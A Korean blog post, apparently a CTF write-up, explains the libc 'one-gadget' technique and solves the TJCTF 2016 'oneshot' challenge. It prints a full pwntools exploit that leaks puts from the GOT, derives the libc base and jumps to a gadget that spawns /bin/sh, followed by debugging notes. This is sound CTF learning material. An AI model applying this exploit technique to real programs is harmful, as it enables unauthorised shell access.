본문 바로가기

Security

Oneshot 가젯

One-gadget?

  • 라이브러리 파일 내에서 "/bin/sh"를 실행하는 가젯
  • 대부분 CTF에서 GOT 영역을 덮어쓸 수 있을 경우 사용

One Gadget 찾기

  • strings, objdump를 통해 구하기
  • one_gadget 사용

문제풀이 (TJCTF 2016 oneshot)

바이너리 정보

바이너리 분석 결과, 원하는 주소를 읽어 해당 값을 구할 수 있고 원하는 주소로 점프할 수 있다. 아마 파일명과 같이 Oneshot gadget을 이용하여 문제를 해결하라는 것 같다. 나는 puts의 got를 읽어 함수주소를 구하고 이를 통해 원샷가젯의 주소를 구해 문제를 해결할 계획이었다.

문제를 해결하며 삽질했던 부분은 다음과 같다.

  1. Libc Base 주소 구하기
  2. gdb를 통해 파악한 메모리 매핑 중 라이브러리의 Start Address가 라이브러리 베이스 주소로 착각.
  3. oneshot 가젯 실행 중, 인자값 문제.

메모리 매핑 정보

대부분의 함수주소들은 0x7ffff7df3000 - 0x7ffff7f6b000 (size: 0x178000) 에 포함되었다. 그래서 당연히 libc base 주소가 0x7ffff7df3000인 줄 알았는데 이는 다른 주소였다. 

어쨌든, 작성한 익스플로잇 코드는 다음과 같다.

from pwn import *
context.log_level = 'debug'
p = process('oneshot')
e = ELF('oneshot')

oneOffset=0xe6e76
#r10 == NULL, r12 == NULL
putsOffset = 0x875a0
putsLibc = e.got['puts']

p.readuntil("Read location?\n")
p.sendline(str(putsLibc))
p.recvuntil('Value: ')
putsAddr = p.recvuntil('\n')
putsAddr = int(putsAddr, 16)

libcBase = putsAddr - putsOffset
OneAddr = libcBase + oneOffset

log.info('libc Base: '+hex(libcBase))
log.info('oneshot Gadget: '+hex(OneAddr))
input()
p.recvuntil('Jump location?\n')
p.sendline(str(OneAddr))
p.recvuntil('Good luck!\n')
p.interactive()

디버깅 결과, 계산한 주소로 Jump 하는 것까진 확인이 됬는데 이상하게 실행이 안됬다.

공격코드 실행결과, 에러 발생

"Invalid $SP address: 0x246"이라는 에러 문구가 출력된다. 내가 사용하려던 원샷가젯 중 다음과 같은 코드가 있다.

0x7ff54b824e89 <__execvpe+1161>:	mov    r11,QWORD PTR [rbp-0x78]
0x7ff54b824e8d <__execvpe+1165>:	mov    eax,DWORD PTR fs:[r14]
0x7ff54b824e91 <__execvpe+1169>:	mov    rsp,r11

rbp-0x78에는 0x246이라는 값이 저장되어 있고, 이를 rsp로 저장하여 위와 같은 문제가 생기는 것 같다.

첫 번째 인자값에는 "/bin/sh"가 잘 들어가 있는데 두 번째 인자값부터는 NULL이 아닌 의도하지 않은 값이 들어가있다. 이를 set으로 rsi, rdx를 NULL(=0)으로 셋팅해주면 쉘이 잘 실행된다.

'Security' 카테고리의 다른 글

HITCON Training lab6  (0) 2020.11.04
HITCON Training lab4 ~ 5  (0) 2020.10.30
HITCON Training lab1 ~ 3  (0) 2020.10.12
CODEGATE 2019 컨퍼런스 후기  (0) 2019.03.30
Code Injection  (0) 2019.03.11